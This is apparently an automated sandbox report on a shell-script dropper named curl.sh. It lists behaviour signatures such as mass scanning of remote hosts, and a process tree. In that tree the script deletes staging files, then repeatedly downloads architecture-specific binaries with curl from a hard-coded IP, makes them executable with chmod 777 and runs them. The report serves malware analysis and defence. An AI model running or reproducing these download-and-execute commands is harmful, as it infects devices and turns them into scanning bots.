Analysis
- max time kernel
146s - max time network
151s - platform
debian-9_armhf - resource
debian9-armhf-20260513-en - resource tags
- submitted
27/07/2026, 06:35
General
- Target curl.sh
- Size 525B
- Sample260727-hcsteaxcmg
- SHA256 0f637fdc7ddf4c390dc2df486595e5d9f5b3b4faf5b4ebd1e30ee41f220a443a
Malware Config
Signatures
- Contacts a large (58954) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
- Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
- File and Directory Permissions Modification 1 TTPs 5 IoCs
Adversaries may modify file or directory permissions to evade defenses.
- Executes dropped EXE 4 IoCs
- Unexpected DNS network traffic destination 1 IoCs
Network traffic to other servers than the configured DNS servers was detected on the DNS port.
- Enumerates active TCP sockets 1 TTPs 2 IoCs
Gets active TCP sockets from /proc virtual filesystem.
- Enumerates running processes
Discovers information about currently running processes on the system
- Reads system routing table 1 TTPs 3 IoCs
Gets active network interfaces from /proc virtual filesystem.
- Changes its process name 3 IoCs
- Checks CPU configuration 1 TTPs 4 IoCs
Checks CPU information which indicate if the system is a virtual machine.
- Reads system network configuration 1 TTPs 5 IoCs
Uses contents of /proc filesystem to enumerate network settings.
- Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
- System Network Configuration Discovery 1 TTPs 2 IoCs
Adversaries may gather information about the network configuration of a system.
- Writes file to tmp directory 4 IoCs
Malware often drops required files in the /tmp directory.
Processes
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/tmp/curl.sh/tmp/curl.sh1⤵
- Executes dropped EXE
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/bin/rmrm -rf PLXMKJ2⤵
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/bin/rmrm -rf WQZRTY2⤵
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/bin/rmrm -rf YUIOXC2⤵
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/bin/rmrm -rf GHJKLB2⤵
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/bin/rmrm -rf MNCXOP2⤵
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/bin/rmrm -rf KFGDFG2⤵
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/bin/rmrm -rf VFASXC2⤵
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/usr/bin/curlcurl http://95.133.245.15/arm -o VFASXC2⤵
- Checks CPU configuration
- Writes file to tmp directory
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/bin/chmodchmod 777 VFASXC2⤵
- File and Directory Permissions Modification
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/tmp/VFASXC./VFASXC telnet.curl2⤵
- Reads system routing table
- Changes its process name
- Reads system network configuration
- Reads runtime system information
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/usr/bin/curlcurl http://95.133.245.15/arm5 -o WQZRTY2⤵
- Checks CPU configuration
- Writes file to tmp directory
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/bin/chmodchmod 777 WQZRTY2⤵
- File and Directory Permissions Modification
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/tmp/WQZRTY./WQZRTY telnet.curl2⤵
- Enumerates active TCP sockets
- Reads system routing table
- Changes its process name
- Reads system network configuration
- Reads runtime system information
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/usr/bin/curlcurl http://95.133.245.15/arm7 -o YUIOXC2⤵
- Checks CPU configuration
- Writes file to tmp directory
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/bin/chmodchmod 777 YUIOXC2⤵
- File and Directory Permissions Modification
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/tmp/YUIOXC./YUIOXC telnet.curl2⤵
- Enumerates active TCP sockets
- Reads system routing table
- Changes its process name
- Reads system network configuration
- Reads runtime system information
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/usr/bin/curlcurl http://95.133.245.15/mips -o GHJKLB2⤵
- Checks CPU configuration
- System Network Configuration Discovery
- Writes file to tmp directory
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/bin/chmodchmod 777 GHJKLB2⤵
- File and Directory Permissions Modification
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/tmp/GHJKLB./GHJKLB telnet.curl2⤵
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/usr/bin/curlcurl http://95.133.245.15/mipsel -o MNCXOP2⤵
- System Network Configuration Discovery
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/bin/chmodchmod 777 MNCXOP2⤵
- File and Directory Permissions Modification
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/tmp/MNCXOP./MNCXOP telnet.curl2⤵
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Network
MITRE ATT&CK Enterprise v16
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
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Downloads
GHJKLB
VFASXC
WQZRTY
YUIOXC